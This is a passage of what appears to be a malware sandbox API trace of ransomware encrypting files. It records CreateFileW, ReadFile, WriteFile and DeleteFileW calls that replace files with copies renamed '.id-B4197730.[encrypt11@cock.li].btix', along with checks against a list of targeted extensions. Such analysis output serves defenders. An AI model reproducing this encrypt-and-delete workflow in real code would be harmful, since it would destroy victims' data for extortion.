dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.675] GetLastError () returned 0x0 [0043.675] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0043.795] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0043.797] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.797] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.797] SetEndOfFile (hFile=0x36c) returned 1 [0043.797] CloseHandle (hObject=0x36c) returned 1 [0043.799] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.799] SetEndOfFile (hFile=0x368) returned 1 [0043.800] CloseHandle (hObject=0x368) returned 1 [0043.800] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.801] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0043.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.801] lstrlenW (lpString=".doc") returned 4 [0043.801] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString=".docx") returned 5 [0043.801] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.801] lstrlenW (lpString=".pdf") returned 4 [0043.801] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString=".xls") returned 4 [0043.801] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString=".xlsx") returned 5 [0043.801] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.801] lstrlenW (lpString=".ppt") returned 4 [0043.801] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.801] lstrlenW (lpString=".zip") returned 4 [0043.801] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.801] lstrlenW (lpString=".rar") returned 4 [0043.801] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString=".bz2") returned 4 [0043.801] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString=".7z") returned 3 [0043.801] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.801] lstrlenW (lpString=".dbf") returned 4 [0043.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.801] lstrlenW (lpString=".1cd") returned 4 [0043.802] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".jpg") returned 4 [0043.802] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".doc") returned 4 [0043.802] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString=".docx") returned 5 [0043.802] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.802] lstrlenW (lpString=".pdf") returned 4 [0043.802] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString=".xls") returned 4 [0043.802] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString=".xlsx") returned 5 [0043.802] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.802] lstrlenW (lpString=".ppt") returned 4 [0043.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".zip") returned 4 [0043.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.802] lstrlenW (lpString=".rar") returned 4 [0043.802] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString=".bz2") returned 4 [0043.802] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString=".7z") returned 3 [0043.802] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".dbf") returned 4 [0043.802] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".1cd") returned 4 [0043.802] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0043.802] lstrlenW (lpString=".jpg") returned 4 [0043.802] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.803] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.803] lstrlenW (lpString="eula.rtf") returned 8 [0043.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.803] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3865) returned 1 [0043.803] CloseHandle (hObject=0x368) returned 1 [0043.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0043.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.803] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.803] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.804] GetLastError () returned 0x0 [0043.804] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xf19, lpOverlapped=0x0) returned 1 [0043.833] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf20, lpOverlapped=0x0) returned 1 [0043.833] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.833] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.834] SetEndOfFile (hFile=0x36c) returned 1 [0043.834] CloseHandle (hObject=0x36c) returned 1 [0043.834] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.834] SetEndOfFile (hFile=0x368) returned 1 [0043.835] CloseHandle (hObject=0x368) returned 1 [0043.835] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.835] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0043.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.836] lstrlenW (lpString=".doc") returned 4 [0043.836] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString=".docx") returned 5 [0043.836] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.836] lstrlenW (lpString=".pdf") returned 4 [0043.836] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString=".xls") returned 4 [0043.836] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.836] lstrlenW (lpString=".xlsx") returned 5 [0043.836] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.836] lstrlenW (lpString=".ppt") returned 4 [0043.836] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.836] lstrlenW (lpString=".zip") returned 4 [0043.836] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.836] lstrlenW (lpString=".rar") returned 4 [0043.836] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString=".bz2") returned 4 [0043.836] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString=".7z") returned 3 [0043.836] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.836] lstrlenW (lpString=".dbf") returned 4 [0043.836] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.836] lstrlenW (lpString=".1cd") returned 4 [0043.837] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".jpg") returned 4 [0043.837] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".doc") returned 4 [0043.837] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString=".docx") returned 5 [0043.837] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.837] lstrlenW (lpString=".pdf") returned 4 [0043.837] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString=".xls") returned 4 [0043.837] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.837] lstrlenW (lpString=".xlsx") returned 5 [0043.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.837] lstrlenW (lpString=".ppt") returned 4 [0043.837] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".zip") returned 4 [0043.837] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.837] lstrlenW (lpString=".rar") returned 4 [0043.837] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString=".bz2") returned 4 [0043.837] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString=".7z") returned 3 [0043.837] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".dbf") returned 4 [0043.837] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".1cd") returned 4 [0043.837] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0043.837] lstrlenW (lpString=".jpg") returned 4 [0043.838] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.838] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.838] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.838] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=76818) returned 1 [0043.838] CloseHandle (hObject=0x368) returned 1 [0043.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0043.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.838] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.838] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.839] GetLastError () returned 0x0 [0043.839] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0043.845] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0043.847] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.847] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.847] SetEndOfFile (hFile=0x36c) returned 1 [0043.847] CloseHandle (hObject=0x36c) returned 1 [0043.849] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.849] SetEndOfFile (hFile=0x368) returned 1 [0043.850] CloseHandle (hObject=0x368) returned 1 [0043.850] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.850] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0043.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.850] lstrlenW (lpString=".doc") returned 4 [0043.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.850] lstrlenW (lpString=".docx") returned 5 [0043.850] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.850] lstrlenW (lpString=".pdf") returned 4 [0043.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.850] lstrlenW (lpString=".xls") returned 4 [0043.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.850] lstrlenW (lpString=".xlsx") returned 5 [0043.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.850] lstrlenW (lpString=".ppt") returned 4 [0043.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".zip") returned 4 [0043.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.851] lstrlenW (lpString=".rar") returned 4 [0043.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString=".bz2") returned 4 [0043.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString=".7z") returned 3 [0043.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".dbf") returned 4 [0043.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".1cd") returned 4 [0043.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".jpg") returned 4 [0043.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".doc") returned 4 [0043.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString=".docx") returned 5 [0043.851] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.851] lstrlenW (lpString=".pdf") returned 4 [0043.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString=".xls") returned 4 [0043.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString=".xlsx") returned 5 [0043.851] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.851] lstrlenW (lpString=".ppt") returned 4 [0043.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.851] lstrlenW (lpString=".zip") returned 4 [0043.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.852] lstrlenW (lpString=".rar") returned 4 [0043.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.852] lstrlenW (lpString=".bz2") returned 4 [0043.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.852] lstrlenW (lpString=".7z") returned 3 [0043.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.852] lstrlenW (lpString=".dbf") returned 4 [0043.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.852] lstrlenW (lpString=".1cd") returned 4 [0043.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0043.852] lstrlenW (lpString=".jpg") returned 4 [0043.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.852] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.852] lstrlenW (lpString="eula.rtf") returned 8 [0043.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.852] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=5827) returned 1 [0043.852] CloseHandle (hObject=0x368) returned 1 [0043.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0043.853] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.853] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.853] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.853] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.853] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.853] GetLastError () returned 0x0 [0043.853] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0043.920] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0043.921] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.921] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.921] SetEndOfFile (hFile=0x36c) returned 1 [0043.921] CloseHandle (hObject=0x36c) returned 1 [0043.922] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.922] SetEndOfFile (hFile=0x368) returned 1 [0043.922] CloseHandle (hObject=0x368) returned 1 [0043.922] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.923] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0043.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.923] lstrlenW (lpString=".doc") returned 4 [0043.923] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.923] lstrlenW (lpString=".docx") returned 5 [0043.923] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.923] lstrlenW (lpString=".pdf") returned 4 [0043.923] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.923] lstrlenW (lpString=".xls") returned 4 [0043.923] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.923] lstrlenW (lpString=".xlsx") returned 5 [0043.923] 